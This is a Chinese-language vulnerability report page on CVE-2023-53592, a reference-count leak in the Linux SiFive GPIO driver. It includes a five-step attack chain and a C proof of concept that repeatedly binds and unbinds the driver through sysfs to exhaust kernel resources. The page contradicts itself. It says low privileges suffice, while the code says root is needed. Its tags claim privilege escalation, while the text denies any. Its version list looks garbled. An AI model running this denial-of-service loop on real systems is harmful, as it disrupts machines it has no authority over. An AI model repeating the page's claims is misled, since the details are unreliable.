IPBUF安全漏洞报告
English
CVE-2023-53592 CVSS 5.5 中危

CVE-2023-53592 Linux内核SiFive GPIO驱动引用计数泄漏漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53592
漏洞类型
引用计数泄漏(内存泄漏/资源泄漏)
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux内核 gpio-sifive 驱动

相关标签

Linux内核GPIO驱动SiFiveRISC-V引用计数泄漏内存泄漏资源泄漏本地提权拒绝服务内核漏洞

漏洞概述

CVE-2023-53592是Linux内核中SiFive GPIO驱动(gpio-sifive)发现的一个引用计数泄漏漏洞。该漏洞位于sifive_gpio_probe()函数中,在调用of_irq_find_parent()函数获取中断父节点时,该函数返回的设备节点指针带有递增的引用计数,但在代码中未正确调用of_node_put()进行释放,导致每次驱动探测时都会泄漏一个引用计数。

该漏洞虽然不会直接导致权限提升或数据泄露,但由于引用计数的持续累积,最终可能导致系统内存资源耗尽或设备节点管理结构异常,影响系统稳定性和可用性。该漏洞的CVSS评分为5.5分,属于中危级别,需要本地低权限用户即可触发,无需用户交互。

此漏洞影响多个Linux内核稳定版本,包括5.10.x、5.15.x、5.19.x、6.1.x等长期支持版本。SiFive是一家专注于RISC-V架构的处理器公司,其GPIO驱动广泛用于RISC-V架构的开发板和嵌入式设备中。该漏洞已于2025年10月4日公开披露,相关的修复补丁已合并到多个稳定内核分支中。

技术细节

该漏洞的技术原理涉及Linux内核设备树(Device Tree)API中引用计数的管理机制。在Linux内核中,设备树节点使用引用计数来管理其生命周期,每次获取节点指针时需要正确释放以避免资源泄漏。

具体到CVE-2023-53592,漏洞存在于drivers/gpio/gpio-sifive.c文件的sifive_gpio_probe()函数中。该函数在初始化过程中调用了of_irq_find_parent()来查找GPIO控制器的中断父节点。根据Linux内核设备树API规范,of_irq_find_parent()函数返回的节点指针带有递增的引用计数,调用者有责任在使用完毕后通过of_node_put()释放该引用。

然而,在原始代码中,获取到父节点指针后并未调用of_node_put(),导致每次驱动probe(探测)操作都会泄漏一个引用计数。虽然单次泄漏的影响较小,但在以下场景中可能导致问题:

1. 设备热插拔场景:每次设备重新插拔或驱动重新加载时都会触发probe,导致引用计数持续累积。
2. 长时间运行的嵌入式系统:在嵌入式设备中,系统通常不会重启,引用计数会持续增长。
3. 资源耗尽:虽然单个引用计数占用内存很小,但累积到一定程度可能导致内核设备树管理结构异常。

利用方式方面,该漏洞需要本地访问权限,攻击者可以通过反复触发GPIO驱动的加载和卸载操作来加速引用计数的累积,最终可能导致内核资源管理异常或系统不稳定。CVSS向量显示该漏洞主要影响系统的可用性(Availability: High),对机密性和完整性无影响。

攻击链分析

STEP 1
步骤1:获取本地访问权限
攻击者需要获得目标系统的本地低权限访问权限,可以通过普通用户账户登录到运行受影响Linux内核的RISC-V设备或嵌入式系统。
STEP 2
步骤2:识别目标系统
确认目标系统运行的是受影响的Linux内核版本,且使用了SiFive GPIO驱动(如基于SiFive RISC-V处理器的开发板)。
STEP 3
步骤3:触发驱动重复加载
通过sysfs接口反复执行GPIO设备的bind/unbind操作,触发sifive_gpio_probe()函数被多次调用,每次调用都会泄漏一个引用计数。
STEP 4
步骤4:累积引用计数泄漏
随着probe操作次数增加,设备树节点的引用计数持续累积,虽然每次只泄漏少量内存,但长时间运行可能导致内核资源管理异常。
STEP 5
步骤5:影响系统可用性
最终可能导致系统内存资源耗尽、设备节点管理结构损坏或内核不稳定,表现为系统响应缓慢、驱动加载失败或系统崩溃。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* CVE-2023-53592 PoC - Trigger refcount leak in gpio-sifive driver * This PoC demonstrates how to trigger the refcount leak by repeatedly * probing and removing the SiFive GPIO driver. * Note: Requires root privileges to load/unload kernel modules. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #define GPIO_SIFIVE_DEVICE_PATH "/sys/bus/platform/drivers/gpio-sifive" /* Function to trigger driver probe by binding the device */ int trigger_probe(const char *device_path) { char path[256]; int fd; /* Bind the device to trigger probe */ snprintf(path, sizeof(path), "%s/bind", GPIO_SIFIVE_DEVICE_PATH); fd = open(path, O_WRONLY); if (fd < 0) { perror("Failed to open bind interface"); return -1; } write(fd, device_path, strlen(device_path)); close(fd); return 0; } /* Function to unbind the device to trigger remove */ int trigger_remove(const char *device_path) { char path[256]; int fd; snprintf(path, sizeof(path), "%s/unbind", GPIO_SIFIVE_DEVICE_PATH); fd = open(path, O_WRONLY); if (fd < 0) { perror("Failed to open unbind interface"); return -1; } write(fd, device_path, strlen(device_path)); close(fd); return 0; } int main(int argc, char *argv[]) { const char *device = "10060000.gpio"; /* SiFive GPIO device name */ int iterations = 1000; if (argc > 1) { iterations = atoi(argv[1]); } printf("CVE-2023-53592 PoC: Triggering refcount leak\n"); printf("Iterations: %d\n", iterations); for (int i = 0; i < iterations; i++) { if (trigger_probe(device) != 0) break; usleep(10000); /* 10ms delay */ if (trigger_remove(device) != 0) break; usleep(10000); if (i % 100 == 0) { printf("Progress: %d/%d\n", i, iterations); } } printf("Completed. Check kernel logs for any issues.\n"); return 0; }

影响范围

Linux kernel < 5.10.195
Linux kernel 5.15.x < 5.15.137
Linux kernel 5.19.x < 5.19.195
Linux kernel 6.1.x < 6.1.55
Linux kernel 6.4.x < 6.4.10

防御指南

临时缓解措施
在无法立即升级内核的情况下,可以通过以下临时措施降低风险:1)限制普通用户对/sys/bus/platform/drivers/gpio-sifive/目录下bind和unbind文件的访问权限;2)避免在受影响的系统中进行GPIO设备的反复热插拔操作;3)监控系统日志,关注是否有内存泄漏或设备节点相关的异常;4)对于长期运行的嵌入式设备,建议定期重启以释放累积的引用计数。建议尽快升级到包含修复的最新内核版本以彻底解决该问题。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表